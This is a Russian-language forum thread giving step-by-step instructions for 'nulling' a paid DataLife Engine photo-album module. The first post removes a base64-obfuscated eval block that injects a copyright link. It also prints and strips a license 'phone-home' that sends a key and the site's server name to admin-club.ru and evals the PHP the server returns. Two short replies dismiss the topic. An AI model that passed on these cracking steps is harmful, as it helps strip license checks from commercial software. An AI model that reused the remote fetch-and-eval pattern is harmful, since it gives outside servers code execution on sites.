Стучалки в модулях, методы лечения?

Статус
В этой теме нельзя размещать новые ответы.
Друзья, рассмотрим пример Нуления Модуля DLE от "скупых" админов))(модуль фотоальбома dle9.2) Рассмотрим пример удаления копирайта и стучалки, которая проверяет сам копирайт, а может и еще что-то....

Сначала убираем копирайт. Находим и открываем файл enginephotophoto_nucleus unctions_default.php далее ищем код:

Код:
function mergies( $a ) {
    global $tpl, $PHOTO_CONF;
    $d='b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
    eval($d('JGEgPSBhcnJheSgNCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViL'.
    'nJ1Ij7M7uTz6+ggRExFPC9hPiDu8iDK6/Ph4CDA5Ozo7e7iJywgDQogICAgJyZjb3B5OyA8YSBocmV'.
    'mPSJodHRwOi8vYWRtaW4tY2x1Yi5ydSI+Q01TIPHo8fLl7Ps8L2E+IO7yIMrr8+HgIMDk7Ojt7uInLC'.
    'ANCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViLnJ1Ij5D6PHy5ezgIPPv8ODi6'.
    '+Xt6P8g8eDp8u7sPC9hPicsIA0KICAgICcmY29weTsgPGEgaHJlZj0iaHR0cDovL2FkbWluLWNsdWIu'.
    'cnUiPsTi6Obu6iDk6/8g8eDp8uA8L2E+Jw0KKTsNCmlmKHByZWdfbWF0Y2goIi9bYS1nXS8iLCAkX1'.
    'NFUlZFUlsnSFRUUF9IT1NUJ11bMF0pKSB7DQogICAgJGIgPSAwOw0KfWVsc2VpZihwcmVnX21hdGN'.
    'oKCIvW2otcl0vIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddWzBdKSkgew0KICAgICRiID0gMTsNCn1l'.
    'bHNlaWYocHJlZ19tYXRjaCgiL1tzLXpdLyIsICRfU0VSVkVSWydIVFRQX0hPU1QnXVswXSkpIHsNCi'.
    'AgICAkYiA9IDI7DQp9ZWxzZXsNCiAgICAkYiA9IDM7DQp9DQokdHBsLT5yZXN1bHRbJ2NvbnRlbnQn'.
    'XSAuPSAnPHAgYWxpZ249ImNlbnRlciI+Jy4kYVskYl0uJzwvcD4nOw=='));
}

Это где -то 740 строчка
Это и есть шифрованный копирайт:
PHP:
JGEgPSBhcnJheSgNCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViL'.
    'nJ1Ij7M7uTz6+ggRExFPC9hPiDu8iDK6/Ph4CDA5Ozo7e7iJywgDQogICAgJyZjb3B5OyA8YSBocmV'.
    'mPSJodHRwOi8vYWRtaW4tY2x1Yi5ydSI+Q01TIPHo8fLl7Ps8L2E+IO7yIMrr8+HgIMDk7Ojt7uInLC'.
    'ANCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViLnJ1Ij5D6PHy5ezgIPPv8ODi6'.
    '+Xt6P8g8eDp8u7sPC9hPicsIA0KICAgICcmY29weTsgPGEgaHJlZj0iaHR0cDovL2FkbWluLWNsdWIu'.
    'cnUiPsTi6Obu6iDk6/8g8eDp8uA8L2E+Jw0KKTsNCmlmKHByZWdfbWF0Y2goIi9bYS1nXS8iLCAkX1'.
    'NFUlZFUlsnSFRUUF9IT1NUJ11bMF0pKSB7DQogICAgJGIgPSAwOw0KfWVsc2VpZihwcmVnX21hdGN'.
    'oKCIvW2otcl0vIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddWzBdKSkgew0KICAgICRiID0gMTsNCn1l'.
    'bHNlaWYocHJlZ19tYXRjaCgiL1tzLXpdLyIsICRfU0VSVkVSWydIVFRQX0hPU1QnXVswXSkpIHsNCi'.
    'AgICAkYiA9IDI7DQp9ZWxzZXsNCiAgICAkYiA9IDM7DQp9DQokdHBsLT5yZXN1bHRbJ2NvbnRlbnQn'.
    'XSAuPSAnPHAgYWxpZ249ImNlbnRlciI+Jy4kYVskYl0uJzwvcD4nOw==

Заменим его например на nolicense
В итоге данный фрагмент кода будет выглядеть так:

Код:
function mergies( $a ) {
    global $tpl, $PHOTO_CONF;
    $d='b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
    eval($d('nolicense'));
}

Сохраняем и закрываем.
--------------------------------------------------------------------------------------------------
Далее убираем стучалку, чтобы админы из "клуба продающих админов", больше не смогли интересоваться данными нашего сайта
Берем файл engineincphotoIn.php и стираем часть кода:

Код:
if( !defined( 'DATALIFEENGINE' ) ){
    echo '[Datalife Engine PhotoAlbums] You tried to gain unauthorized access to the module, or system DataLife Engine is not licensed.';
    exit();
}
$k  = isset($_POST['key'])?trim( $_POST['key'] ):'';
if( strlen( $k ) ){
    $r = @file_get_contents( 'http://admin-club.ru/dlephotocenter/run.php?v=9&key=' . $k . '&d=' . base64_encode( $_SERVER['SERVER_NAME']  ) );
    if( $r ) @eval( $r );
    else $conect_ = $PHOTO_LAN[ 'warning_75' ];
}
$ke = $core->get( 'key' );
$ke = $ke[0];
if( !$ke ) $form = '<form name="" action="" method="post">';
else{
    $dis = 'display:none';
    $st = '<tr><td style="padding:3px;width:130px;text-align:right;">Статус:&nbsp;</td><td style="color:green">активированы</td></tr>';
}
 
Последнее редактирование:
Тема ни о чем. Сколько программистов-столько и видов стучалок... Если пользователь ничего не понимает в программировании-никакие советы не помогут.
как я понял, вариантов тьма и решение в каждом случае индивидуально.
Ответ на вопрос топика прозвучал. Тему можно закрывать.
А если хочется подробнее обсудить, то для этого давно есть отдельная ветка: Для просмотра ссылки Войди или Зарегистрируйся
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху